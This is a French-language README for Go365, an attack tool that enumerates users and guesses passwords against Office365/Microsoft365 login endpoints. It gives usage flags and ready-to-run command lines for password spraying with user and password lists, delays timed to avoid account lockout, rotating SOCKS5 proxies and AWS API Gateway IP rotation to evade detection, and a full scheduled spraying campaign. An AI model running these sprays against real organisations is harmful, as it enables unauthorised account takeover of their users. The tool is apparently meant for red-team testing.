
Un outil d'attaque pour utilisateurs Office365
Veuillez lire l'intégralité de ce README avant d'utiliser Go365 !
Go365 est un outil conçu pour effectuer des attaques d'énumération d'utilisateurs* et de devinettes de mots de passe sur les organisations qui utilisent Office365 (maintenant/bientôt Microsoft365). Go365 utilise un point de terminaison d'API SOAP unique sur login.microsoftonline.com que la plupart des autres outils n'utilisent pas. Lorsqu'il est interrogé avec une adresse e-mail et un mot de passe, le point de terminaison répond avec un code d'authentification et d'autorisation Azure AD. Ce code est ensuite traité par Go365 et le résultat est affiché à l'écran ou dans un fichier de sortie.
* L'énumération d'utilisateurs est effectuée en conjonction avec une tentative de devinette de mot de passe. Ainsi, il n'y a pas de drapeau ou de fonctionnalité spécifique pour effectuer uniquement l'énumération d'utilisateurs. Au lieu de cela, effectuez votre première attaque de devinette de mot de passe, puis analysez les résultats pour trouver les utilisateurs valides.
Téléchargez un binaire pré-compilé pour votre OS ICI.
Téléchargez le code source et compilez localement.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version : 2.0
Auteurs : paveway3, h0useh3ad, S4R1N, EatonChips
Utilisation :
-h Affiche ce truc
Requis - Point de terminaison :
-endpoint [rst ou graph] Spécifiez quel point de terminaison utiliser
: (-endpoint rst) *Classic Go365 !* login.microsoftonline.com/rst2.srf. Requête SOAP XML avec réponse XML
: (-endpoint graph) login.microsoft.com/common/oauth2/token. Requête HTTP POST avec réponse JSON
Requis - Noms d'utilisateur et mots de passe :
-u <string> Nom d'utilisateur unique à tester
: Nom d'utilisateur avec ou sans "@domain.com"
: Doit également fournir le drapeau -d pour spécifier le domaine
: (-u [email protected])
-ul <file> Liste de noms d'utilisateur à utiliser (remplace -u)
: Le fichier doit contenir un nom d'utilisateur par ligne
: Les noms d'utilisateur peuvent avoir "@domain.com"
: Si aucun domaine n'est spécifié, le domaine -d est utilisé
: (-ul ./usernamelist.txt)
-p <string> Mot de passe à essayer
: Entourez de guillemets simples s'il contient des caractères spéciaux
: (-p password123) ou (-p 'p@s$w0|2d')
-pl <file> Liste de mots de passe à utiliser (remplace -p)
: Le fichier doit contenir un mot de passe par ligne
: Le drapeau -delay peut être utilisé pour inclure une pause entre chaque série de tentatives
: (-pl ./passwordlist.txt)
-up <file> Liste d'userpass à utiliser (remplace toutes les options ci-dessus)
: Un nom d'utilisateur et un mot de passe séparés par ":" par ligne
: Attention aux noms d'utilisateur en double !
: (-up ./userpasslist.txt)
Requis/Optionnel - Domaine :
-d <string> Domaine à tester
: Utilisez ceci si le nom d'utilisateur ou la liste de noms d'utilisateur n'inclut pas "@targetcompany.com"
: (-d targetcompany.com)
Optionnel :
-w <int> Temps d'attente entre les tentatives en secondes.
: Par défaut : 1 seconde. 5 secondes recommandées.
: (-w 10)
-delay <int> Délai (en secondes) entre les pulvérisations lors de l'utilisation d'une liste de mots de passe.
: Par défaut : 60 minutes (3600 secondes) recommandées.
: (-delay 7200)
-o <string> Fichier de sortie pour écrire
: Ajoutera si le fichier existe, sinon un fichier est créé
: (-o ./Go365output.out)
-proxy <string> Serveur proxy SOCKS5 unique à utiliser
: Adresse IP et port séparés par ":"
: Proxy SOCKS5
: (-proxy 127.0.0.1:1080)
-proxyfile <string> Un fichier avec une liste de serveurs proxy SOCKS5 à utiliser
: Adresse IP et port séparés par ":" sur chaque ligne
: Sélectionne aléatoirement un serveur proxy à utiliser avant chaque requête
: (-proxyfile ./proxyfile.txt)
-url <string> Point de terminaison pour envoyer les requêtes
: 'Invoke URL' de Amazon API Gateway
: Très recommandé d'utiliser cette option. Googlez-le, ou
: jetez un œil ici : https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Mode débogage.
: Imprimer la réponse xml
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Vous pouvez même planifier toute votre campagne de devinettes de mots de passe en utilisant les drapeaux -pl et -delay :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200